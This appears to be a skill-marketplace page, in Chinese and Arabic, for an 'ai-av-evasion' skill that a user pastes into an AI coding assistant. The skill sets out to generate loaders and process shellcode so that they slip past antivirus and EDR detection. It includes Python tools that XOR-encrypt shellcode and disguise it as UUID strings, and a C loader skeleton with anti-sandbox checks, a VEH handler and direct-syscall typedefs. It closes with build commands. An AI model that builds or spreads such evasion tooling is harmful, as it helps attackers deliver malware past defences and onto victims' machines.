القائمة
使用AI生成免杀Loader和处理Shellcode，结合多种免杀技术绕过主流杀软检测
التثبيت باستخدام Codex أو Claude انسخ هذا Prompt والصقه في Codex أو Claude أو مساعد آخر ليراجع صفحة Skill ويثبّتها لك.
استنادا إلى تصنيف SOC المهني
| name | ai-av-evasion |
| description | 使用AI生成免杀Loader和处理Shellcode，结合多种免杀技术绕过主流杀软检测 |
本Skill提供完整的免杀解决方案，包括Shellcode处理和Loader编写，利用AI生成高免杀效果的恶意代码载体，绕过主流杀软和EDR检测。
当需要：
mov rax,0 → xor rax,rax#!/usr/bin/env python3
"""
Shellcode Patch工具
功能：对Shellcode进行同义指令替换、花指令注入和指令重排
"""
import sys
def patch_shellcode(shellcode):
# 实现Shellcode Patch逻辑
# 1. 同义指令替换
# 2. 花指令注入
# 3. 指令重排
patched_shellcode = shellcode # 实际实现需要根据具体架构进行处理
return patched_shellcode
def main():
if len(sys.argv) != 2:
print("Usage: python shellcode-patch.py <shellcode_file>")
return
with open(sys.argv[1], 'r') as f:
shellcode = f.read()
patched = patch_shellcode(shellcode)
with open('shellcode_patched.c', 'w') as f:
f.write(patched)
print("Shellcode patched successfully!")
if __name__ == "__main__":
main()
#!/usr/bin/env python3
"""
Shellcode加密工具
功能：使用自定义加密算法对Shellcode进行加密
"""
import sys
def custom_encrypt(shellcode, key):
# 实现自定义加密算法
encrypted = bytearray()
for i, byte in enumerate(shellcode):
encrypted_byte = (byte ^ key[i % len(key)])
encrypted.append(encrypted_byte)
return encrypted
def main():
if len(sys.argv) != 3:
print("Usage: python shellcode-encrypt.py <shellcode_file> <key>")
return
with open(sys.argv[1], 'rb') as f:
shellcode = f.read()
key = sys.argv[2].encode()
encrypted = custom_encrypt(shellcode, key)
# 生成C语言数组格式
c_array = "unsigned char shellcode[] = {" + ",".join([f"0x{byte:02x}" for byte in encrypted]) + "};"
with open('shellcode_encrypted.c', 'w') as f:
f.write(c_array)
print("Shellcode encrypted successfully!")
if __name__ == "__main__":
main()
#!/usr/bin/env python3
"""
Shellcode混淆工具
功能：将Shellcode伪装成UUID、IPv4/IPv6地址等格式
"""
import sys
import uuid
def obfuscate_as_uuid(shellcode):
# 将Shellcode伪装成UUID数组
uuids = []
for i in range(0, len(shellcode), 16):
chunk = shellcode[i:i+16]
if len(chunk) < 16:
chunk = chunk.ljust(16, b'\x00')
uuid_str = str(uuid.UUID(bytes=chunk))
uuids.append(uuid_str)
return uuids
def main():
if len(sys.argv) != 2:
print("Usage: python shellcode-obfuscate.py <shellcode_file>")
return
with open(sys.argv[1], 'rb') as f:
shellcode = f.read()
uuids = obfuscate_as_uuid(shellcode)
# 生成C语言数组格式
c_array = "char* uuid_array[] = {" + ",".join([f'"{uuid}"' for uuid in uuids]) + "};"
with open('shellcode_obfuscated.c', 'w') as f:
f.write(c_array)
print("Shellcode obfuscated successfully!")
if __name__ == "__main__":
main()
#include <windows.h>
#include <stdio.h>
// 反沙箱检测
BOOL check_sandbox() {
// 检测特定文件是否存在
if (GetFileAttributesA("C:\\Users\\Public\\1234567.txt") == INVALID_FILE_ATTRIBUTES) {
return TRUE; // 沙箱环境
}
return FALSE;
}
// VEH异常处理
LONG WINAPI VEHHandler(PEXCEPTION_POINTERS ExceptionInfo) {
if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_ACCESS_VIOLATION) {
// 处理内存访问异常，临时设置权限
return EXCEPTION_CONTINUE_EXECUTION;
}
return EXCEPTION_CONTINUE_SEARCH;
}
// Syscall封装
typedef NTSTATUS(WINAPI* NtAllocateVirtualMemory_t)(HANDLE, PVOID*, ULONG_PTR, PSIZE_T, ULONG, ULONG);
typedef NTSTATUS(WINAPI* NtWriteVirtualMemory_t)(HANDLE, PVOID, PVOID, SIZE_T, PSIZE_T);
typedef NTSTATUS(WINAPI* NtCreateThreadEx_t)(PHANDLE, ACCESS_MASK, PVOID, HANDLE, PVOID, PVOID, ULONG, SIZE_T, SIZE_T, SIZE_T, PVOID);
// 主函数
int main() {
// 反沙箱检测
if (check_sandbox()) {
return 0;
}
// 注册VEH
AddVectoredExceptionHandler(1, VEHHandler);
// 解密和反混淆Shellcode
// 这里需要根据实际的加密和混淆方法实现
// 内存操作和执行Shellcode
// 使用Syscall绕过Hook
return 0;
}
python shellcode-patch.py shellcode_raw.binpython shellcode-encrypt.py shellcode_patched.bin mysecretkeypython shellcode-obfuscate.py shellcode_encrypted.bingcc -o loader.exe loader.c -mwindows